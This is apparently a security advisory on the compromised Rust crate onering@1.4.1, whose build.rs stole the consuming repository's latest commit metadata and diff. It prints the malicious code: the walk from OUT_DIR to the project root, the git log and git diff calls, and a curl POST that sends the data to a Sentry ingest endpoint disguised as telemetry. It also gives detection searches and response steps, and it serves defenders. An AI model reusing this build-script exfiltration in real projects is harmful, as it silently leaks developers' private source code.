critical
CVE
Not assigned
CWE
CWE-506, CWE-200
Affected Surface
crates.io crate onering version 1.4.1, Rust developer workstations and CI runners that executed cargo build, cargo test, or any build step resolving onering@1.4.1, Private Rust workspaces whose latest commit metadata or git diff HEAD^ HEAD output was present on the building host, Git-sourced consumers pulling from the compromised cenotelie/onering repository state around commit 45e552f541dd96c2ac224d1b97cb7cda1c1d63e9
On 10 June 2026, the Rust crate onering became a useful reminder that package malware does not need an install script or a dynamic language runtime to be dangerous. Version 1.4.1 added a short build.rs file that Cargo executes automatically during compilation. That script was not interested in the crate’s own source tree. It explicitly walked out of Cargo’s build directory to find the root of the consuming project, then harvested commit metadata and the diff of the latest commit from the victim’s repository.
That target choice makes this materially different from the credential-stealing npm and PyPI waves we have covered recently. The payload here is optimized for source theft. If a private Rust workspace built against onering@1.4.1, the attacker did not just gain a package foothold; they gained a direct view into the latest source changes in the consumer’s repository.
Affected crate and exposure window
The malicious version identified by Aikido, SafeDep, and the onering maintainer response is onering@1.4.1. The crate has since been yanked, and current crates.io metadata shows 1.4.0 as the newest available version again:
crate: onering
malicious version: 1.4.1
current default/newest version after yank: 1.4.0
downloads: 18,747 total at review time
recent downloads: 706
repository: https://github.com/cenotelie/onering
The maintainer later confirmed in the public issue thread that both their GitHub account credentials and a crates.io publishing token had been compromised. That matters because it widens the trust problem:
- the published crate artifact was malicious
- the upstream GitHub repository state was also compromised
- “install from git instead of crates.io” was not a safe workaround during the exposure window
The malicious commit was small, specific, and build-triggered
The commit identified in the public issue and GitHub API is 45e552f541dd96c2ac224d1b97cb7cda1c1d63e9, with only 77 added lines across two files:
Cargo.toml +3 lines
build.rs +74 lines
The Cargo.toml change is a useful first red flag. A queue library suddenly gained a build dependency on uuid:
[build-dependencies]
uuid = { version = "1.23", default-features = false, features = ["v4"] }
That dependency was not used by the library itself. It was used exclusively by build.rs to mint a pseudo-legitimate event_id for an outbound Sentry envelope. This is the sort of small metadata change that can slip through casual review because it looks like ordinary build plumbing rather than a data-theft primitive.
Cargo’s build stage was the execution surface
Rust developers do not need to call into onering for the payload to run. Cargo compiles and executes build.rs as part of dependency resolution and compilation, which means common workflows such as:
cargo build
cargo test
cargo bench
cargo check
are all sufficient to trigger the code path once the malicious version is resolved.
The script starts by identifying the consumer repository root, not the crate’s own path:
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}
This is a deliberate design choice. OUT_DIR points into Cargo’s generated build tree, not the checked-in crate. By walking upward until it sees target/ and then taking the parent of that directory, the script pivots into the repository that is currently being built.
In practice, the execution chain looks like:
cargo build
-> compile dependency onering@1.4.1
-> run onering build.rs
-> traverse from OUT_DIR to consumer workspace root
-> run git commands in the consumer repository
-> exfiltrate results over HTTPS
The payload stole commit metadata and the latest source diff
Once it found the repository root, the script ran two Git commands:
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};
Those two calls capture:
- commit hash
- author name
- author email
- commit timestamp
- commit subject
- the full textual diff between
HEAD^andHEAD
The git diff HEAD^ HEAD choice is particularly important. This is not just repository enumeration or metadata theft. It is targeted exfiltration of the newest source changes. In a private repository, that can include unreleased features, bug fixes, secrets accidentally committed and then removed, internal identifiers, ticket names, or exploit reproducer code.
Because the script re-runs on each build, a developer repeatedly compiling during normal work could leak a rolling stream of recent code changes rather than a single static snapshot.
The exfiltration path was disguised as a Sentry event
The network stage wrapped the stolen data in a three-line Sentry envelope and posted it with curl:
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};
This disguise is technically clever for three reasons:
- A request to a Sentry ingest hostname looks like normal developer telemetry, not obvious malware C2.
- The commit metadata is stored as event tags, which is structurally normal for telemetry payloads.
- The stolen patch is embedded in
extra.patch, which makes the exfiltrated source diff blend into a debug-looking envelope.
Public reporting also notes a commented-out local line:
// std::fs::write("data.txt", payload).unwrap();
That suggests the actor tested the generated envelope locally before wiring up live network exfiltration.
Silent failure was part of the design
SafeDep’s analysis is right to call out how much of the script is guarded by let Ok(...) = ... else { return; };.
That pattern matters operationally:
- if
gitis missing, the build still succeeds - if the repository has no parent commit, the build still succeeds
- if
curlfails or the endpoint is blocked, the build still succeeds - if any escaping or path logic breaks, the build still succeeds
In other words, the malware was engineered to avoid breaking downstream builds. That lowers the odds that developers notice anything unusual and reduces the chance that CI failures expose the compromise quickly.
Why this is an AppSec problem, not just a Rust ecosystem story
The obvious victim is any Rust team that resolved onering@1.4.1, but the broader lesson is about build-time trust boundaries.
Cargo’s build.rs files are normal and legitimate for many crates. That familiarity is what makes them dangerous:
- they run automatically
- they execute on developer machines and CI runners
- they have access to the consuming repository and build environment
- they are often reviewed less critically than runtime code
The attack path is therefore closer to a malicious CI helper or compiler plugin than to a conventional library bug. Application security teams that focus only on shipped binaries or runtime dependencies will miss this class of exposure.
Detection and scoping
Start by finding whether the bad version was ever resolved:
rg -n 'name = "onering"|version = "1.4.1"' Cargo.lock
cargo tree | rg '\bonering v1\.4\.1\b'
Then inspect Cargo caches and extracted source trees for the known indicators:
rg -n \
'8197ee42c4f59c83f4cc6d48f5bae821|o4511539639222272|4511539669368912|git diff HEAD\^ HEAD|OUT_DIR' \
~/.cargo/registry ~/.cargo/git
If you preserve build logs or process telemetry, hunt for:
cargo invoking a dependency build script
git log -n 1 executed from a Cargo build context
git diff HEAD^ HEAD during dependency compilation
curl POST to o4511539639222272.ingest.de.sentry.io
Content-Type: application/x-sentry-envelope during cargo build
And remember that the repository compromise means Git-based dependency use also deserves review:
[dependencies]
onering = { git = "https://github.com/cenotelie/onering" }
If that dependency was resolved during the compromised commit window, do not assume you were safe because crates.io later yanked 1.4.1.
Response guidance
Treat any build host that resolved onering@1.4.1 as a source-code exposure incident.
- Identify which repositories and branches were built on the affected host during the exposure window.
- Preserve
Cargo.lock, Cargo cache contents, CI logs, and any proxy or egress telemetry before cleanup. - Rotate credentials reachable from the build host, especially repository tokens and CI secrets, but do not confuse credential rotation with source-code containment.
- Review whether the leaked patch contents included secrets, customer data handling logic, unreleased vulnerability fixes, or private exploit material.
- Rebuild from a clean environment after pinning away from the compromised artifact and clearing Cargo caches.
This incident is a useful case study because it does not look like most package malware headlines. There is no giant obfuscated loader, no cloud-credential sweep, and no flashy persistence trick. Instead, onering@1.4.1 used just enough Rust and Git to turn an ordinary cargo build into a private-source exfiltration path.
References
- Aikido: Compromised Rust crate onering performs code exfiltration
- GitHub issue: build script exfiltrates git history and source diffs
- GitHub commit: onering malicious build fix commit
- Crates.io package metadata: onering
- SafeDep: onering malware analysis
- CWE-506 Embedded Malicious Code
- CWE-200 Exposure of Sensitive Information